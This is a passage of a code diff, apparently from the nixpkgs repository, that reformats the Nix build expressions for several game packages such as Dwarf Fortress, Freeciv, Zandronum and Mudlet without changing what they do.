--- a/pkgs/games/crawl/default.nix
+++ b/pkgs/games/crawl/default.nix
@@ -53,51 +53,48 @@ stdenv.mkDerivation rec {
   ];
 
   # Still unstable with luajit
-  buildInputs =
-    [
-      lua5_1
-      zlib
-      sqlite
-      ncurses
-    ]
-    ++ (with python3.pkgs; [ pyyaml ])
-    ++ lib.optionals tileMode [
-      libpng
-      SDL2
-      SDL2_image
-      freetype
-      libGLU
-      libGL
-    ]
-    ++ lib.optional enableSound SDL2_mixer;
+  buildInputs = [
+    lua5_1
+    zlib
+    sqlite
+    ncurses
+  ]
+  ++ (with python3.pkgs; [ pyyaml ])
+  ++ lib.optionals tileMode [
+    libpng
+    SDL2
+    SDL2_image
+    freetype
+    libGLU
+    libGL
+  ]
+  ++ lib.optional enableSound SDL2_mixer;
 
-  preBuild =
-    ''
-      cd crawl-ref/source
-      echo "${version}" > util/release_ver
-      patchShebangs 'util'
-      patchShebangs util/gen-mi-enum
-      rm -rf contrib
-      mkdir -p $out/xdg-data
-    ''
-    + lib.optionalString tileMode "mv xdg-data/*_tiles.* $out/xdg-data"
-    + lib.optionalString (!tileMode) "mv xdg-data/*_console.* $out/xdg-data";
+  preBuild = ''
+    cd crawl-ref/source
+    echo "${version}" > util/release_ver
+    patchShebangs 'util'
+    patchShebangs util/gen-mi-enum
+    rm -rf contrib
+    mkdir -p $out/xdg-data
+  ''
+  + lib.optionalString tileMode "mv xdg-data/*_tiles.* $out/xdg-data"
+  + lib.optionalString (!tileMode) "mv xdg-data/*_console.* $out/xdg-data";
 
   fontsPath = lib.optionalString tileMode dejavu_fonts;
 
-  makeFlags =
-    [
-      "prefix=${placeholder "out"}"
-      "FORCE_CC=${stdenv.cc.targetPrefix}cc"
-      "FORCE_CXX=${stdenv.cc.targetPrefix}c++"
-      "HOSTCXX=${buildPackages.stdenv.cc.targetPrefix}c++"
-      "FORCE_PKGCONFIG=y"
-      "SAVEDIR=~/.crawl"
-      "sqlite=${sqlite.dev}"
-      "DATADIR=${placeholder "out"}"
-    ]
-    ++ lib.optional tileMode "TILES=y"
-    ++ lib.optional enableSound "SOUND=y";
+  makeFlags = [
+    "prefix=${placeholder "out"}"
+    "FORCE_CC=${stdenv.cc.targetPrefix}cc"
+    "FORCE_CXX=${stdenv.cc.targetPrefix}c++"
+    "HOSTCXX=${buildPackages.stdenv.cc.targetPrefix}c++"
+    "FORCE_PKGCONFIG=y"
+    "SAVEDIR=~/.crawl"
+    "sqlite=${sqlite.dev}"
+    "DATADIR=${placeholder "out"}"
+  ]
+  ++ lib.optional tileMode "TILES=y"
+  ++ lib.optional enableSound "SOUND=y";
 
   postInstall =
     lib.optionalString tileMode ''
diff --git a/pkgs/games/cutemaze/default.nix b/pkgs/games/cutemaze/default.nix
index 434e25de23ea..cb4a66b3bf3c 100644
--- a/pkgs/games/cutemaze/default.nix
+++ b/pkgs/games/cutemaze/default.nix
@@ -25,14 +25,13 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+    qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
   installPhase =
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/games/doom-ports/zandronum/alpha/default.nix b/pkgs/games/doom-ports/zandronum/alpha/default.nix
index 739d3eea18d8..5298485df6b6 100644
--- a/pkgs/games/doom-ports/zandronum/alpha/default.nix
+++ b/pkgs/games/doom-ports/zandronum/alpha/default.nix
@@ -52,23 +52,22 @@ stdenv.mkDerivation {
 
   # I have no idea why would SDL and libjpeg be needed for the server part!
   # But they are.
-  buildInputs =
-    [
-      openssl
-      bzip2
-      zlib
-      SDL_compat
-      libjpeg
-      sqlite
-      game-music-emu
-    ]
-    ++ lib.optionals (!serverOnly) [
-      libGL
-      glew
-      fmod
-      fluidsynth
-      gtk2
-    ];
+  buildInputs = [
+    openssl
+    bzip2
+    zlib
+    SDL_compat
+    libjpeg
+    sqlite
+    game-music-emu
+  ]
+  ++ lib.optionals (!serverOnly) [
+    libGL
+    glew
+    fmod
+    fluidsynth
+    gtk2
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -77,22 +76,22 @@ stdenv.mkDerivation {
     python3
   ];
 
-  preConfigure =
-    ''
-      ln -s ${sqlite}/* sqlite/
-      sed -i -e 's| restrict| _restrict|g' dumb/include/dumb.h \
-                                         dumb/src/it/*.c
-    ''
-    + lib.optionalString (!serverOnly) ''
-      sed -i \
-        -e "s@/usr/share/sounds/sf2/@${soundfont-fluid}/share/soundfonts/@g" \
-        -e "s@FluidR3_GM.sf2@FluidR3_GM2-2.sf2@g" \
-        src/sound/music_fluidsynth_mididevice.cpp
-    '';
+  preConfigure = ''
+    ln -s ${sqlite}/* sqlite/
+    sed -i -e 's| restrict| _restrict|g' dumb/include/dumb.h \
+                                       dumb/src/it/*.c
+  ''
+  + lib.optionalString (!serverOnly) ''
+    sed -i \
+      -e "s@/usr/share/sounds/sf2/@${soundfont-fluid}/share/soundfonts/@g" \
+      -e "s@FluidR3_GM.sf2@FluidR3_GM2-2.sf2@g" \
+      src/sound/music_fluidsynth_mididevice.cpp
+  '';
 
   cmakeFlags = [
     "-DFORCE_INTERNAL_GME=OFF"
-  ] ++ (if serverOnly then [ "-DSERVERONLY=ON" ] else [ "-DFMOD_LIBRARY=${fmod}/lib/libfmodex.so" ]);
+  ]
+  ++ (if serverOnly then [ "-DSERVERONLY=ON" ] else [ "-DFMOD_LIBRARY=${fmod}/lib/libfmodex.so" ]);
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/games/doom-ports/zandronum/default.nix b/pkgs/games/doom-ports/zandronum/default.nix
index d9b076173b3f..837339921bb5 100644
--- a/pkgs/games/doom-ports/zandronum/default.nix
+++ b/pkgs/games/doom-ports/zandronum/default.nix
@@ -52,23 +52,22 @@ stdenv.mkDerivation {
 
   # I have no idea why would SDL and libjpeg be needed for the server part!
   # But they are.
-  buildInputs =
-    [
-      openssl
-      bzip2
-      zlib
-      SDL_compat
-      libjpeg
-      sqlite
-      game-music-emu
-    ]
-    ++ lib.optionals (!serverOnly) [
-      libGL
-      glew
-      fmod
-      fluidsynth
-      gtk2
-    ];
+  buildInputs = [
+    openssl
+    bzip2
+    zlib
+    SDL_compat
+    libjpeg
+    sqlite
+    game-music-emu
+  ]
+  ++ lib.optionals (!serverOnly) [
+    libGL
+    glew
+    fmod
+    fluidsynth
+    gtk2
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -77,22 +76,22 @@ stdenv.mkDerivation {
     python3
   ];
 
-  preConfigure =
-    ''
-      ln -s ${sqlite}/* sqlite/
-      sed -i -e 's| restrict| _restrict|g' dumb/include/dumb.h \
-                                         dumb/src/it/*.c
-    ''
-    + lib.optionalString (!serverOnly) ''
-      sed -i \
-        -e "s@/usr/share/sounds/sf2/@${soundfont-fluid}/share/soundfonts/@g" \
-        -e "s@FluidR3_GM.sf2@FluidR3_GM2-2.sf2@g" \
-        src/sound/music_fluidsynth_mididevice.cpp
-    '';
+  preConfigure = ''
+    ln -s ${sqlite}/* sqlite/
+    sed -i -e 's| restrict| _restrict|g' dumb/include/dumb.h \
+                                       dumb/src/it/*.c
+  ''
+  + lib.optionalString (!serverOnly) ''
+    sed -i \
+      -e "s@/usr/share/sounds/sf2/@${soundfont-fluid}/share/soundfonts/@g" \
+      -e "s@FluidR3_GM.sf2@FluidR3_GM2-2.sf2@g" \
+      src/sound/music_fluidsynth_mididevice.cpp
+  '';
 
   cmakeFlags = [
     "-DFORCE_INTERNAL_GME=OFF"
-  ] ++ (if serverOnly then [ "-DSERVERONLY=ON" ] else [ "-DFMOD_LIBRARY=${fmod}/lib/libfmodex.so" ]);
+  ]
+  ++ (if serverOnly then [ "-DSERVERONLY=ON" ] else [ "-DFMOD_LIBRARY=${fmod}/lib/libfmodex.so" ]);
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/games/dwarf-fortress/dfhack/default.nix b/pkgs/games/dwarf-fortress/dfhack/default.nix
index 50f5ec2c9803..82f20430d1fa 100644
--- a/pkgs/games/dwarf-fortress/dfhack/default.nix
+++ b/pkgs/games/dwarf-fortress/dfhack/default.nix
@@ -148,15 +148,16 @@ stdenv.mkDerivation {
   ];
 
   # We don't use system libraries because dfhack needs old C++ ABI.
-  buildInputs =
-    [ zlib ]
-    ++ optional isAtLeast50 SDL2
-    ++ optional (!isAtLeast50) SDL
-    ++ optionals enableStoneSense [
-      allegro5
-      libGLU
-      libGL
-    ];
+  buildInputs = [
+    zlib
+  ]
+  ++ optional isAtLeast50 SDL2
+  ++ optional (!isAtLeast50) SDL
+  ++ optionals enableStoneSense [
+    allegro5
+    libGLU
+    libGL
+  ];
 
   preConfigure = ''
     # Trick the build system into believing we have .git.
@@ -164,27 +165,27 @@ stdenv.mkDerivation {
     touch .git/index .git/modules/library/xml/index
   '';
 
-  cmakeFlags =
-    [
-      # Race condition in `Generating codegen.out.xml and df/headers` that is fixed when using Ninja.
-      "-GNinja"
-      "-DDFHACK_BUILD_ARCH=${arch}"
+  cmakeFlags = [
+    # Race condition in `Generating codegen.out.xml and df/headers` that is fixed when using Ninja.
+    "-GNinja"
+    "-DDFHACK_BUILD_ARCH=${arch}"
 
-      # Don't download anything.
-      "-DDOWNLOAD_RUBY=OFF"
-      "-DUSE_SYSTEM_SDL2=ON"
+    # Don't download anything.
+    "-DDOWNLOAD_RUBY=OFF"
+    "-DUSE_SYSTEM_SDL2=ON"
 
-      # Ruby support with dfhack is very spotty and was removed in version 50.
-      "-DBUILD_RUBY=OFF"
-    ]
-    ++ optionals enableStoneSense [
-      "-DBUILD_STONESENSE=ON"
-      "-DSTONESENSE_INTERNAL_SO=OFF"
-    ];
+    # Ruby support with dfhack is very spotty and was removed in version 50.
+    "-DBUILD_RUBY=OFF"
+  ]
+  ++ optionals enableStoneSense [
+    "-DBUILD_STONESENSE=ON"
+    "-DSTONESENSE_INTERNAL_SO=OFF"
+  ];
 
   NIX_CFLAGS_COMPILE = [
     "-Wno-error=deprecated-enum-enum-conversion"
-  ] ++ optionals (versionOlder version "0.47") [ "-fpermissive" ];
+  ]
+  ++ optionals (versionOlder version "0.47") [ "-fpermissive" ];
 
   preFixup = ''
     # Wrap dfhack scripts.
diff --git a/pkgs/games/dwarf-fortress/dwarf-therapist/wrapper.nix b/pkgs/games/dwarf-fortress/dwarf-therapist/wrapper.nix
index 62f4b3bdaf91..c07d48d26e72 100644
--- a/pkgs/games/dwarf-fortress/dwarf-therapist/wrapper.nix
+++ b/pkgs/games/dwarf-fortress/dwarf-therapist/wrapper.nix
@@ -56,13 +56,14 @@ stdenv.mkDerivation {
 
   paths = [ dwarf-therapist ];
 
-  nativeBuildInputs =
-    [ wrapQtAppsHook ]
-    ++ lib.optionals unsupportedVersion [
-      expect
-      xvfb-run
-      dfHackWrapper
-    ];
+  nativeBuildInputs = [
+    wrapQtAppsHook
+  ]
+  ++ lib.optionals unsupportedVersion [
+    expect
+    xvfb-run
+    dfHackWrapper
+  ];
 
   passthru = { inherit dwarf-fortress dwarf-therapist; };
 
diff --git a/pkgs/games/dwarf-fortress/game.nix b/pkgs/games/dwarf-fortress/game.nix
index 61a0ee31039c..b9e1000bb2b1 100644
--- a/pkgs/games/dwarf-fortress/game.nix
+++ b/pkgs/games/dwarf-fortress/game.nix
@@ -113,52 +113,51 @@ stdenv.mkDerivation {
     ++ optional enableUnfuck dwarf-fortress-unfuck
     ++ [ (lib.getLib stdenv.cc.cc) ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      exe=$out/${exe}
-      mkdir -p $out
-      cp -r * $out
+    exe=$out/${exe}
+    mkdir -p $out
+    cp -r * $out
 
-      # Clean up OS X detritus in the tarball.
-      find $out -type f -name '._*' -exec rm -rf {} \;
+    # Clean up OS X detritus in the tarball.
+    find $out -type f -name '._*' -exec rm -rf {} \;
 
-      # Lots of files are +x in the newer releases...
-      find $out -type d -exec chmod 0755 {} \;
-      find $out -type f -exec chmod 0644 {} \;
-      chmod +x $exe
-      [ -f $out/df ] && chmod +x $out/df
-      [ -f $out/run_df ] && chmod +x $out/run_df
+    # Lots of files are +x in the newer releases...
+    find $out -type d -exec chmod 0755 {} \;
+    find $out -type f -exec chmod 0644 {} \;
+    chmod +x $exe
+    [ -f $out/df ] && chmod +x $out/df
+    [ -f $out/run_df ] && chmod +x $out/run_df
 
-      # We don't need any of these since they will just break autoPatchelf on <version 50.
-      [ -d $out/libs ] && rm -rf $out/libs/*.so $out/libs/*.so.* $out/libs/*.dylib
+    # We don't need any of these since they will just break autoPatchelf on <version 50.
+    [ -d $out/libs ] && rm -rf $out/libs/*.so $out/libs/*.so.* $out/libs/*.dylib
 
-      # Store the original hash
-      md5sum $exe | awk '{ print $1 }' > $out/hash.md5.orig
-      echo "Original MD5: $(<$out/hash.md5.orig)" >&2
-    ''
-    + optionalString stdenv.hostPlatform.isDarwin ''
-      # My custom unfucked dwarfort.exe for macOS. Can't use
-      # absolute paths because original doesn't have enough
-      # header space. Someone plz break into Tarn's house & put
-      # -headerpad_max_install_names into his LDFLAGS.
+    # Store the original hash
+    md5sum $exe | awk '{ print $1 }' > $out/hash.md5.orig
+    echo "Original MD5: $(<$out/hash.md5.orig)" >&2
+  ''
+  + optionalString stdenv.hostPlatform.isDarwin ''
+    # My custom unfucked dwarfort.exe for macOS. Can't use
+    # absolute paths because original doesn't have enough
+    # header space. Someone plz break into Tarn's house & put
+    # -headerpad_max_install_names into his LDFLAGS.
 
-      ln -s ${getLib ncurses}/lib/libncurses.dylib $out/libs
-      ln -s ${getLib gcc.cc}/lib/libstdc++.6.dylib $out/libs
-      ln -s ${getLib gcc.cc}/lib/libgcc_s.1.dylib $out/libs
-      ln -s ${getLib fmodex}/lib/libfmodex.dylib $out/libs
+    ln -s ${getLib ncurses}/lib/libncurses.dylib $out/libs
+    ln -s ${getLib gcc.cc}/lib/libstdc++.6.dylib $out/libs
+    ln -s ${getLib gcc.cc}/lib/libgcc_s.1.dylib $out/libs
+    ln -s ${getLib fmodex}/lib/libfmodex.dylib $out/libs
 
-      install_name_tool \
-        -change /usr/lib/libncurses.5.4.dylib \
-                @executable_path/libs/libncurses.dylib \
-        -change /usr/local/lib/x86_64/libstdc++.6.dylib \
-                @executable_path/libs/libstdc++.6.dylib \
-        $exe
-    ''
-    + ''
-      runHook postInstall
-    '';
+    install_name_tool \
+      -change /usr/lib/libncurses.5.4.dylib \
+              @executable_path/libs/libncurses.dylib \
+      -change /usr/local/lib/x86_64/libstdc++.6.dylib \
+              @executable_path/libs/libstdc++.6.dylib \
+      $exe
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   preFixup = ''
     recompute_hash() {
diff --git a/pkgs/games/dwarf-fortress/lazy-pack.nix b/pkgs/games/dwarf-fortress/lazy-pack.nix
index 732c1019bf12..73736d34d9be 100644
--- a/pkgs/games/dwarf-fortress/lazy-pack.nix
+++ b/pkgs/games/dwarf-fortress/lazy-pack.nix
@@ -48,25 +48,24 @@ let
 in
 buildEnv {
   name = "dwarf-fortress-full";
-  paths =
-    [
-      (dwarf-fortress.override {
-        inherit
-          enableDFHack
-          enableTWBT
-          enableSoundSense
-          enableStoneSense
-          theme
-          enableIntro
-          enableTruetype
-          enableFPS
-          enableTextMode
-          enableSound
-          ;
-      })
-    ]
-    ++ optional enableDwarfTherapist dwarf-therapist
-    ++ optional enableLegendsBrowser legends-browser;
+  paths = [
+    (dwarf-fortress.override {
+      inherit
+        enableDFHack
+        enableTWBT
+        enableSoundSense
+        enableStoneSense
+        theme
+        enableIntro
+        enableTruetype
+        enableFPS
+        enableTextMode
+        enableSound
+        ;
+    })
+  ]
+  ++ optional enableDwarfTherapist dwarf-therapist
+  ++ optional enableLegendsBrowser legends-browser;
 
   meta = {
     inherit mainProgram;
diff --git a/pkgs/games/dwarf-fortress/unfuck.nix b/pkgs/games/dwarf-fortress/unfuck.nix
index d679eb4d0a3a..15bb084c1e00 100644
--- a/pkgs/games/dwarf-fortress/unfuck.nix
+++ b/pkgs/games/dwarf-fortress/unfuck.nix
@@ -82,30 +82,29 @@ stdenv.mkDerivation {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      libSM
-      SDL
-      SDL_image
-      SDL_ttf
-      glew
-      openalSoft
-      ncurses
-      libsndfile
-      zlib
-      libGL
-    ]
-    # switched to gtk3 in 0.47.05
-    ++ (
-      if versionOlder release.unfuckRelease "0.47.05" then
-        [
-          gtk2
-        ]
-      else
-        [
-          gtk3
-        ]
-    );
+  buildInputs = [
+    libSM
+    SDL
+    SDL_image
+    SDL_ttf
+    glew
+    openalSoft
+    ncurses
+    libsndfile
+    zlib
+    libGL
+  ]
+  # switched to gtk3 in 0.47.05
+  ++ (
+    if versionOlder release.unfuckRelease "0.47.05" then
+      [
+        gtk2
+      ]
+    else
+      [
+        gtk3
+      ]
+  );
 
   # Don't strip unused symbols; dfhack hooks into some of them.
   dontStrip = true;
diff --git a/pkgs/games/dwarf-fortress/wrapper/default.nix b/pkgs/games/dwarf-fortress/wrapper/default.nix
index 8fe83273dc4a..6321e88d3dd6 100644
--- a/pkgs/games/dwarf-fortress/wrapper/default.nix
+++ b/pkgs/games/dwarf-fortress/wrapper/default.nix
@@ -215,30 +215,29 @@ lib.throwIf (enableTWBT' && !enableDFHack) "dwarf-fortress: TWBT requires DFHack
     dontUnpack = true;
     dontBuild = true;
     preferLocalBuild = true;
-    installPhase =
-      ''
-        mkdir -p $out/bin
+    installPhase = ''
+      mkdir -p $out/bin
 
-        substitute $runDF $out/bin/dwarf-fortress \
-          --subst-var-by stdenv_shell ${stdenv.shell} \
-          --subst-var-by dfExe ${dwarf-fortress.exe} \
-          --subst-var dfInit
-        chmod 755 $out/bin/dwarf-fortress
-      ''
-      + lib.optionalString enableDFHack ''
-        substitute $runDF $out/bin/dfhack \
-          --subst-var-by stdenv_shell ${stdenv.shell} \
-          --subst-var-by dfExe dfhack \
-          --subst-var dfInit
-        chmod 755 $out/bin/dfhack
-      ''
-      + lib.optionalString enableSoundSense ''
-        substitute $runSoundSense $out/bin/soundsense \
-          --subst-var-by stdenv_shell ${stdenv.shell} \
-          --subst-var-by jre ${jre} \
-          --subst-var dfInit
-        chmod 755 $out/bin/soundsense
-      '';
+      substitute $runDF $out/bin/dwarf-fortress \
+        --subst-var-by stdenv_shell ${stdenv.shell} \
+        --subst-var-by dfExe ${dwarf-fortress.exe} \
+        --subst-var dfInit
+      chmod 755 $out/bin/dwarf-fortress
+    ''
+    + lib.optionalString enableDFHack ''
+      substitute $runDF $out/bin/dfhack \
+        --subst-var-by stdenv_shell ${stdenv.shell} \
+        --subst-var-by dfExe dfhack \
+        --subst-var dfInit
+      chmod 755 $out/bin/dfhack
+    ''
+    + lib.optionalString enableSoundSense ''
+      substitute $runSoundSense $out/bin/soundsense \
+        --subst-var-by stdenv_shell ${stdenv.shell} \
+        --subst-var-by jre ${jre} \
+        --subst-var dfInit
+      chmod 755 $out/bin/soundsense
+    '';
 
     doInstallCheck = stdenv.hostPlatform.isLinux;
     nativeInstallCheckInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/games/freeciv/default.nix b/pkgs/games/freeciv/default.nix
index 19bc95582e47..529f336e3ac8 100644
--- a/pkgs/games/freeciv/default.nix
+++ b/pkgs/games/freeciv/default.nix
@@ -53,38 +53,36 @@ stdenv.mkDerivation rec {
     done
   '';
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    ++ lib.optionals qtClient [ qt5.wrapQtAppsHook ]
-    ++ lib.optionals gtkClient [ wrapGAppsHook3 ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  ++ lib.optionals qtClient [ qt5.wrapQtAppsHook ]
+  ++ lib.optionals gtkClient [ wrapGAppsHook3 ];
 
-  buildInputs =
-    [
-      lua5_3
-      zlib
-      bzip2
-      curl
-      xz
-      gettext
-      libiconv
-      icu
-    ]
-    ++ lib.optionals sdl2Client [
-      SDL2
-      SDL2_mixer
-      SDL2_image
-      SDL2_ttf
-      SDL2_gfx
-      freetype
-      fluidsynth
-    ]
-    ++ lib.optionals gtkClient [ gtk3 ]
-    ++ lib.optionals qtClient [ qt5.qtbase ]
-    ++ lib.optional server readline
-    ++ lib.optional enableSqlite sqlite;
+  buildInputs = [
+    lua5_3
+    zlib
+    bzip2
+    curl
+    xz
+    gettext
+    libiconv
+    icu
+  ]
+  ++ lib.optionals sdl2Client [
+    SDL2
+    SDL2_mixer
+    SDL2_image
+    SDL2_ttf
+    SDL2_gfx
+    freetype
+    fluidsynth
+  ]
+  ++ lib.optionals gtkClient [ gtk3 ]
+  ++ lib.optionals qtClient [ qt5.qtbase ]
+  ++ lib.optional server readline
+  ++ lib.optional enableSqlite sqlite;
 
   dontWrapQtApps = true;
   dontWrapGApps = true;
@@ -94,21 +92,22 @@ stdenv.mkDerivation rec {
   preConfigure = ''
     export CPPFLAGS="$(echo $SDL2_PATH | sed 's#/nix/store/#-I/nix/store/#g')"
   '';
-  configureFlags =
-    [ "--enable-shared" ]
-    ++ lib.optionals sdl2Client [
-      "--enable-client=sdl2"
-      "--enable-sdl-mixer=sdl2"
-    ]
-    ++ lib.optionals qtClient [
-      "--enable-client=qt"
-      "--with-qtver=qt5"
-      "--with-qt5-includes=${qt5.qtbase.dev}/include"
-    ]
-    ++ lib.optionals gtkClient [ "--enable-client=gtk3.22" ]
-    ++ lib.optional enableSqlite "--enable-fcdb=sqlite3"
-    ++ lib.optional (!gtkClient) "--enable-fcmp=cli"
-    ++ lib.optional (!server) "--disable-server";
+  configureFlags = [
+    "--enable-shared"
+  ]
+  ++ lib.optionals sdl2Client [
+    "--enable-client=sdl2"
+    "--enable-sdl-mixer=sdl2"
+  ]
+  ++ lib.optionals qtClient [
+    "--enable-client=qt"
+    "--with-qtver=qt5"
+    "--with-qt5-includes=${qt5.qtbase.dev}/include"
+  ]
+  ++ lib.optionals gtkClient [ "--enable-client=gtk3.22" ]
+  ++ lib.optional enableSqlite "--enable-fcdb=sqlite3"
+  ++ lib.optional (!gtkClient) "--enable-fcmp=cli"
+  ++ lib.optional (!server) "--disable-server";
 
   postFixup =
     lib.optionalString qtClient ''
diff --git a/pkgs/games/gcompris/default.nix b/pkgs/games/gcompris/default.nix
index a393faabfdc8..ef5ea19e7c20 100644
--- a/pkgs/games/gcompris/default.nix
+++ b/pkgs/games/gcompris/default.nix
@@ -48,22 +48,21 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qmlbox2d
-      qtbase
-      qtcharts
-      qtdeclarative
-      qtimageformats
-      qtmultimedia
-      qtsensors
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    qmlbox2d
+    qtbase
+    qtcharts
+    qtdeclarative
+    qtimageformats
+    qtmultimedia
+    qtsensors
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   postInstall = ''
     install -Dm444 ../org.kde.gcompris.appdata.xml -t $out/share/metainfo
diff --git a/pkgs/games/koboredux/default.nix b/pkgs/games/koboredux/default.nix
index 5f4d0a39a8a9..d694266934cf 100644
--- a/pkgs/games/koboredux/default.nix
+++ b/pkgs/games/koboredux/default.nix
@@ -88,18 +88,17 @@ stdenv.mkDerivation rec {
       "Frantic 80's style 2D shooter, similar to XKobo and Kobo Deluxe"
       + optionalString (!useProprietaryAssets) " (built without proprietary assets)";
     mainProgram = "kobord";
-    longDescription =
-      ''
-        Kobo Redux is a frantic 80's style 2D shooter, inspired by the look and
-        feel of 90's arcade cabinets. The gameplay is fast and unforgiving,
-        although with less of the frustrating quirkiness of the actual games
-        of the 80's. A true challenge in the spirit of the arcade era!
-      ''
-      + optionalString (!useProprietaryAssets) ''
+    longDescription = ''
+      Kobo Redux is a frantic 80's style 2D shooter, inspired by the look and
+      feel of 90's arcade cabinets. The gameplay is fast and unforgiving,
+      although with less of the frustrating quirkiness of the actual games
+      of the 80's. A true challenge in the spirit of the arcade era!
+    ''
+    + optionalString (!useProprietaryAssets) ''
 
-        This version replaces the official proprietary assets with placeholders.
-        For the full experience, consider installing "koboredux" instead.
-      '';
+      This version replaces the official proprietary assets with placeholders.
+      For the full experience, consider installing "koboredux" instead.
+    '';
     homepage = "https://olofson.itch.io/kobo-redux";
     license = with licenses; if useProprietaryAssets then unfree else gpl2Plus;
     platforms = platforms.all;
diff --git a/pkgs/games/libremines/default.nix b/pkgs/games/libremines/default.nix
index b3b7cda9d4c6..a39c4ae0378d 100644
--- a/pkgs/games/libremines/default.nix
+++ b/pkgs/games/libremines/default.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtmultimedia
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    qtmultimedia
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
   cmakeFlags = [ "-DUSE_QT6=TRUE" ];
 
diff --git a/pkgs/games/mudlet/default.nix b/pkgs/games/mudlet/default.nix
index 76f3e95b9508..673d41d92da3 100644
--- a/pkgs/games/mudlet/default.nix
+++ b/pkgs/games/mudlet/default.nix
@@ -109,58 +109,57 @@ stdenv.mkDerivation rec {
   WITH_FONTS = "NO";
   WITH_UPDATER = "NO";
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -pv $out/lib
-      cp 3rdparty/edbee-lib/edbee-lib/qslog/lib/libQsLog${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib
-      mkdir -pv $out/share/mudlet
-      cp -r ../src/mudlet-lua/lua $out/share/mudlet/
+    mkdir -pv $out/lib
+    cp 3rdparty/edbee-lib/edbee-lib/qslog/lib/libQsLog${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib
+    mkdir -pv $out/share/mudlet
+    cp -r ../src/mudlet-lua/lua $out/share/mudlet/
 
-      mkdir -pv $out/share/pixmaps
-      cp -r ../mudlet.png $out/share/pixmaps/
+    mkdir -pv $out/share/pixmaps
+    cp -r ../mudlet.png $out/share/pixmaps/
 
-      cp -r ../translations $out/share/
+    cp -r ../translations $out/share/
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r src/mudlet.app/ $out/Applications/mudlet.app
-      mv $out/Applications/mudlet.app/Contents/MacOS/mudlet $out/Applications/mudlet.app/Contents/MacOS/mudlet-unwrapped
-      makeQtWrapper $out/Applications/Mudlet.app/Contents/MacOS/mudlet-unwrapped $out/Applications/Mudlet.app/Contents/MacOS/mudlet \
-        --set LUA_CPATH "${luaEnv}/lib/lua/${lua.luaversion}/?.so" \
-        --prefix LUA_PATH : "$NIX_LUA_PATH" \
-        --prefix DYLD_LIBRARY_PATH : "${
-          lib.makeLibraryPath [
-            libsForQt5.qtkeychain
-            discord-rpc
-          ]
-        }:$out/lib" \
-        --chdir "$out";
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r src/mudlet.app/ $out/Applications/mudlet.app
+    mv $out/Applications/mudlet.app/Contents/MacOS/mudlet $out/Applications/mudlet.app/Contents/MacOS/mudlet-unwrapped
+    makeQtWrapper $out/Applications/Mudlet.app/Contents/MacOS/mudlet-unwrapped $out/Applications/Mudlet.app/Contents/MacOS/mudlet \
+      --set LUA_CPATH "${luaEnv}/lib/lua/${lua.luaversion}/?.so" \
+      --prefix LUA_PATH : "$NIX_LUA_PATH" \
+      --prefix DYLD_LIBRARY_PATH : "${
+        lib.makeLibraryPath [
+          libsForQt5.qtkeychain
+          discord-rpc
+        ]
+      }:$out/lib" \
+      --chdir "$out";
 
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      mkdir -pv $out/bin
-      cp src/mudlet $out/bin/mudlet-unwrapped
-      makeQtWrapper $out/bin/mudlet-unwrapped $out/bin/mudlet \
-        --set LUA_CPATH "${luaEnv}/lib/lua/${lua.luaversion}/?.so" \
-        --prefix LUA_PATH : "$NIX_LUA_PATH" \
-        --prefix LD_LIBRARY_PATH : "${
-          lib.makeLibraryPath [
-            libsForQt5.qtkeychain
-            discord-rpc
-          ]
-        }" \
-        --chdir "$out";
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    mkdir -pv $out/bin
+    cp src/mudlet $out/bin/mudlet-unwrapped
+    makeQtWrapper $out/bin/mudlet-unwrapped $out/bin/mudlet \
+      --set LUA_CPATH "${luaEnv}/lib/lua/${lua.luaversion}/?.so" \
+      --prefix LUA_PATH : "$NIX_LUA_PATH" \
+      --prefix LD_LIBRARY_PATH : "${
+        lib.makeLibraryPath [
+          libsForQt5.qtkeychain
+          discord-rpc
+        ]
+      }" \
+      --chdir "$out";
 
-      mkdir -pv $out/share/applications
-      cp ../mudlet.desktop $out/share/applications/
+    mkdir -pv $out/share/applications
+    cp ../mudlet.desktop $out/share/applications/
 
-    ''
-    + ''
-      runHook postInstall
-    '';
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "Crossplatform mud client";
diff --git a/pkgs/games/nethack/default.nix b/pkgs/games/nethack/default.nix
